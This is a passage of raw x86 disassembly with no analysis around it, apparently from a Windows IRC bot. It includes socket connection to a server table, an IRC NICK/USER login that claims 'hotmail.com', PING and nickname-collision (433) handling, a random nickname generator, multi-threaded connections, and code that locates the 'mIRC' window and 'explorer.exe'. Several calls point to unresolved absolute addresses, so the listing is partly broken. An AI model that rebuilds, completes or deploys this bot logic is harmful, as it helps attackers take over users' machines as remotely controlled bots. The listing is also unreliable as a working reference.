27E0C3Ch push eax nop call near ptr 27E0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D3CC0 mov edi, 200h mov esi, offset dword_4D32C0 loc_417630: ; CODE XREF: sub_4175EA+FAj mov eax, dword_4D46D8 add eax, eax push eax push dword_4D46E0 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D44C4 mov eax, dword_4D46D8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A5 loc_41766D: ; CODE XREF: sub_4175EA+B3j cmp [ebp+var_8], 0 jz short loc_4176C2 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417691 cmp byte ptr [ecx+1], 0 jnz short loc_417691 cmp dl, 20h jnb short loc_41768B and [ebp+var_8], 0 loc_41768B: ; CODE XREF: sub_4175EA+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417695 loc_417691: ; CODE XREF: sub_4175EA+90j ; sub_4175EA+96j and [ebp+var_8], 0 loc_417695: ; CODE XREF: sub_4175EA+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766D cmp [ebp+var_8], 0 jz short loc_4176C2 loc_4176A5: ; CODE XREF: sub_4175EA+81j push [ebp+var_14] push offset dword_4D34C0 push ebx push [ebp+arg_0] push offset dword_438244 push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176DA ; --------------------------------------------------------------------------- loc_4176C2: ; CODE XREF: sub_4175EA+87j ; sub_4175EA+B9j push offset dword_4D34C0 push ebx push [ebp+arg_0] push offset dword_438294 push edi push esi call sub_41B980 add esp, 18h loc_4176DA: ; CODE XREF: sub_4175EA+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_417630 push [ebp+var_14] push 0 nop call near ptr 27E0C3Ch push eax nop call near ptr 27D0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_4175EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417703 proc near ; CODE XREF: sub_4178BB+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6D4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB654 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB694 cmp eax, esi jnz short loc_417764 push [ebp+arg_0] call dword_4CB6D8 test eax, eax jz short loc_41777F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417764: ; CODE XREF: sub_417703+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB5FC cmp eax, esi jnz short loc_417783 push edi call dword_4CB6EC loc_41777F: ; CODE XREF: sub_417703+1Bj ; sub_417703+58j mov eax, esi jmp short loc_417785 ; --------------------------------------------------------------------------- loc_417783: ; CODE XREF: sub_417703+73j mov eax, edi loc_417785: ; CODE XREF: sub_417703+7Ej pop edi pop esi leave retn sub_417703 endp ; =============== S U B R O U T I N E ======================================= sub_417789 proc near ; CODE XREF: sub_401ACD+3295p ; sub_401ACD+3301p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A0A4 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D46EC pop ecx loc_4177A1: ; CODE XREF: sub_417789+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BF cmp dword ptr [esi], 0 jbe short loc_4177BF push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CB6A4 loc_4177BF: ; CODE XREF: sub_417789+1Cj ; sub_417789+21j add esi, 210h cmp esi, offset dword_4DAE0C jl short loc_4177A1 pop edi pop esi retn sub_417789 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177D0 proc near ; CODE XREF: sub_4178BB+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42D128 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F5: ; CODE XREF: sub_4177D0+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F5 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781D cmp esi, edi jnz short loc_41781D push 1 pop eax jmp loc_4178B6 ; --------------------------------------------------------------------------- loc_41781D: ; CODE XREF: sub_4177D0+3Fj ; sub_4177D0+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417838 push offset dword_438EA4 jmp short loc_417886 ; --------------------------------------------------------------------------- loc_417838: ; CODE XREF: sub_4177D0+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417859 push esi push offset dword_438EA0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B4 loc_417859: ; CODE XREF: sub_4177D0+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADE add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_438E94 loc_417886: ; CODE XREF: sub_4177D0+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CB6A4 loc_4178B4: ; CODE XREF: sub_4177D0+87j xor eax, eax loc_4178B6: ; CODE XREF: sub_4177D0+48j pop edi pop esi pop ebx leave retn sub_4177D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BB proc near ; DATA XREF: sub_417A60+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D46F4[esi] mov dword_4D46E8[esi], edi push dword_4D48F4[esi] push eax call sub_417703 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D46EC[esi], eax jb loc_417A40 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADE lea eax, [ebp+var_4008] push eax call sub_417ADE lea eax, [ebp+var_3008] push eax call sub_417ADE add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D46EC[esi] call dword_4CB6A4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417997: ; CODE XREF: sub_4178BB+111j ; sub_4178BB+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D46EC[esi] call dword_4CB66C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A40 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417997 loc_4179CE: ; CODE XREF: sub_4178BB+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F5 cmp al, 0Ah jz short loc_4179F5 cmp [ebp+arg_0], 0FA0h jz short loc_4179F5 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2F ; --------------------------------------------------------------------------- loc_4179F5: ; CODE XREF: sub_4178BB+11Cj ; sub_4178BB+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2F push dword_4D46EC[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177D0 pop ecx test eax, eax pop ecx ja short loc_417A40 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2F: ; CODE XREF: sub_4178BB+138j ; sub_4178BB+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CE jmp loc_417997 ; --------------------------------------------------------------------------- loc_417A40: ; CODE XREF: sub_4178BB+40j ; sub_4178BB+107j ... mov dword_4D46E8[esi], ebx mov esi, dword_4D46EC[esi] cmp esi, ebx jbe short loc_417A57 push esi call dword_4CB6EC loc_417A57: ; CODE XREF: sub_4178BB+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A60 proc near ; CODE XREF: sub_401ACD+31E2p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD9 loc_417A72: ; CODE XREF: sub_417A60+77j xor edi, edi mov eax, offset dword_4D46E8 loc_417A79: ; CODE XREF: sub_417A60+28j cmp [eax], ebx jz short loc_417A8A add eax, 210h inc edi cmp eax, offset dword_4DAE08 jl short loc_417A79 loc_417A8A: ; CODE XREF: sub_417A60+1Bj cmp edi, 31h jz short loc_417AD9 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D46F4[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D48F4[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D46E8[esi], 1 push eax push ebx push edi push offset sub_4178BB push ebx push ebx nop call near ptr 26B0000h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A72 loc_417AD9: ; CODE XREF: sub_417A60+10j ; sub_417A60+2Dj pop edi pop esi pop ebx leave retn sub_417A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADE proc near ; CODE XREF: sub_401ACD+374Ep ; sub_401ACD+3794p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F0 call sub_41C798 cmp eax, 1 jnz short loc_417B28 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_4385E8[edx*4] jmp short loc_417B41 ; --------------------------------------------------------------------------- loc_417B28: ; CODE XREF: sub_417ADE+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_4382E8[edx*4] loc_417B41: ; CODE XREF: sub_417ADE+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB4 cmp esi, 3 jnz short loc_417BAB cmp ebx, 1 jz short loc_417BB4 loc_417BAB: ; CODE XREF: sub_417ADE+C6j cmp eax, 1 jnz loc_417C6E loc_417BB4: ; CODE XREF: sub_417ADE+C1j ; sub_417ADE+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 push off_4385E8[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5B movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5B call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41C798 cmp eax, 1 jnz short loc_417C5B push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E0 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5B: ; CODE XREF: sub_417ADE+111j ; sub_417ADE+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6E: ; CODE XREF: sub_417ADE+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED6 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCD call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41C798 cmp esi, 3 jz short loc_417CDC cmp eax, 1 jnz loc_417DCD loc_417CDC: ; CODE XREF: sub_417ADE+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1E push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D3A ; --------------------------------------------------------------------------- loc_417D1E: ; CODE XREF: sub_417ADE+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D3A: ; CODE XREF: sub_417ADE+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 cmp esi, 3 jz short loc_417D63 cmp eax, ebx jnz short loc_417DCD loc_417D63: ; CODE XREF: sub_417ADE+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA8 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC6 ; --------------------------------------------------------------------------- loc_417DA8: ; CODE XREF: sub_417ADE+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC6: ; CODE XREF: sub_417ADE+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCD: ; CODE XREF: sub_417ADE+1C9j ; sub_417ADE+1F8j ... cmp esi, 6 jge loc_417E56 cmp esi, 5 jge short loc_417DEE call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 jmp short loc_417E0C ; --------------------------------------------------------------------------- loc_417DEE: ; CODE XREF: sub_417ADE+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 loc_417E0C: ; CODE XREF: sub_417ADE+30Ej call sub_41C798 test eax, eax jnz short loc_417E2F call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 mov cl, 30h jmp short loc_417E4C ; --------------------------------------------------------------------------- loc_417E2F: ; CODE XREF: sub_417ADE+335j cmp eax, 1 jnz short loc_417E56 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 mov cl, 41h loc_417E4C: ; CODE XREF: sub_417ADE+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E56: ; CODE XREF: sub_417ADE+2F2j ; sub_417ADE+354j cmp [ebp+var_C], 2 jge short loc_417ED6 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41C798 cmp eax, 1 jnz short loc_417ED6 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 cmp eax, 1 jnz short loc_417ED6 cmp [ebp+var_C], eax jge short loc_417ED6 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED6: ; CODE XREF: sub_417ADE+1B1j ; sub_417ADE+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEF proc near ; CODE XREF: sub_401ACD+BECp ; sub_401ACD+C29p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F7A mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F7A cmp [ebp+arg_8], esi jz short loc_417F7A cmp byte ptr [eax], 0 jz short loc_417F7A push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F75 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6E sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6E: ; CODE XREF: sub_417EEF+3Cj push ebx call sub_41B0B1 pop ecx loc_417F75: ; CODE XREF: sub_417EEF+2Bj mov eax, esi pop ebx jmp short loc_417F7C ; --------------------------------------------------------------------------- loc_417F7A: ; CODE XREF: sub_417EEF+Cj ; sub_417EEF+13j ... xor eax, eax loc_417F7C: ; CODE XREF: sub_417EEF+89j pop edi pop esi pop ebp retn sub_417EEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F80 proc near ; CODE XREF: sub_401955+E9p ; ___:004102F1p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB6 or eax, 0FFFFFFFFh jmp short loc_418029 ; --------------------------------------------------------------------------- loc_417FB6: ; CODE XREF: sub_417F80+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD8 loc_417FC2: ; CODE XREF: sub_417F80+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCF cmp dl, 0Dh jnz short loc_417FD3 loc_417FCF: ; CODE XREF: sub_417F80+48j and byte ptr [ecx+esi], 0 loc_417FD3: ; CODE XREF: sub_417F80+4Dj inc ecx cmp ecx, eax jl short loc_417FC2 loc_417FD8: ; CODE XREF: sub_417F80+40j xor edx, edx push edi test eax, eax jle short loc_418009 lea edi, [ebp+var_7CC] loc_417FE5: ; CODE XREF: sub_417F80+87j cmp byte ptr [edx+esi], 0 jnz short loc_418004 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418004 cmp ebx, 1F4h jge short loc_418009 mov [edi], ecx inc ebx add edi, 4 loc_418004: ; CODE XREF: sub_417F80+69j ; sub_417F80+74j inc edx cmp edx, eax jl short loc_417FE5 loc_418009: ; CODE XREF: sub_417F80+5Dj ; sub_417F80+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418027 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418027: ; CODE XREF: sub_417F80+8Ej mov eax, ebx loc_418029: ; CODE XREF: sub_417F80+34j pop esi pop ebx leave retn sub_417F80 endp ; =============== S U B R O U T I N E ======================================= sub_41802D proc near ; CODE XREF: sub_418087+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418066 push ebx mov ebx, edi loc_41804A: ; CODE XREF: sub_41802D+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418069 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_41804A pop ebx loc_418066: ; CODE XREF: sub_41802D+18j pop edi pop esi retn sub_41802D endp ; =============== S U B R O U T I N E ======================================= sub_418069 proc near ; CODE XREF: sub_41802D+25p ; sub_418087+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418084 cmp al, 7Ah jg short loc_418084 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418084: ; CODE XREF: sub_418069+Ej ; sub_418069+12j xor eax, eax retn sub_418069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418087 proc near ; CODE XREF: ___:0041532Ep var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802D add esp, 14h dec esi mov edi, esi loc_4180C5: ; CODE XREF: sub_418087+B6j test esi, esi jle short loc_418143 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813B loc_4180EB: ; CODE XREF: sub_418087+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418069 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810C mov eax, ecx loc_41810C: ; CODE XREF: sub_418087+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813F mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EB loc_41813B: ; CODE XREF: sub_418087+62j dec edi dec esi jmp short loc_4180C5 ; --------------------------------------------------------------------------- loc_41813F: ; CODE XREF: sub_418087+8Aj xor eax, eax jmp short loc_418148 ; --------------------------------------------------------------------------- loc_418143: ; CODE XREF: sub_418087+40j mov eax, [ebp+arg_0] add eax, edi loc_418148: ; CODE XREF: sub_418087+BAj pop edi pop esi pop ebx leave retn sub_418087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814D proc near ; CODE XREF: sub_401ACD+67A4p ; sub_401ACD+789Fp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 26B0857h nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 2800000h nop lea eax, [ebp+var_100] loc_418186: ; CODE XREF: sub_41814D+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418192 cmp cl, 9 jnz short loc_418195 loc_418192: ; CODE XREF: sub_41814D+3Ej inc eax jmp short loc_418186 ; --------------------------------------------------------------------------- loc_418195: ; CODE XREF: sub_41814D+43j ; sub_41814D+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AF mov cl, [eax] cmp cl, 2Eh jz short loc_418195 cmp cl, 21h jl short loc_418195 loc_4181AF: ; CODE XREF: sub_41814D+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DAE0C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814D endp ; =============== S U B R O U T I N E ======================================= sub_4181D7 proc near ; CODE XREF: sub_401ACD+24CBp push esi push 0 call dword_4CB624 test eax, eax jz short loc_41820E push 1 call dword_4CB644 mov esi, eax test esi, esi jz short loc_41820E push edi push esi nop call near ptr 281060Dh push esi mov edi, eax nop call near ptr 2810000h call dword_4CB6A8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820E: ; CODE XREF: sub_4181D7+Bj ; sub_4181D7+19j xor eax, eax pop esi retn sub_4181D7 endp ; =============== S U B R O U T I N E ======================================= sub_418212 proc near ; CODE XREF: sub_401ACD+7662p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB660 mov ebp, eax cmp ebp, esi jz short loc_41828E push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 28204D6h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 28203A8h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CB6B0 push esi push 1 push 4C9h push ebp call dword_4CB6B0 push ebx call near ptr 2820000h nop push edi call near ptr 2690934h nop push 1 pop eax pop ebx jmp short loc_418290 ; --------------------------------------------------------------------------- loc_41828E: ; CODE XREF: sub_418212+16j xor eax, eax loc_418290: ; CODE XREF: sub_418212+7Aj pop edi pop esi pop ebp retn sub_418212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418294 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB710 test eax, eax jz short loc_418333 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418333 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push 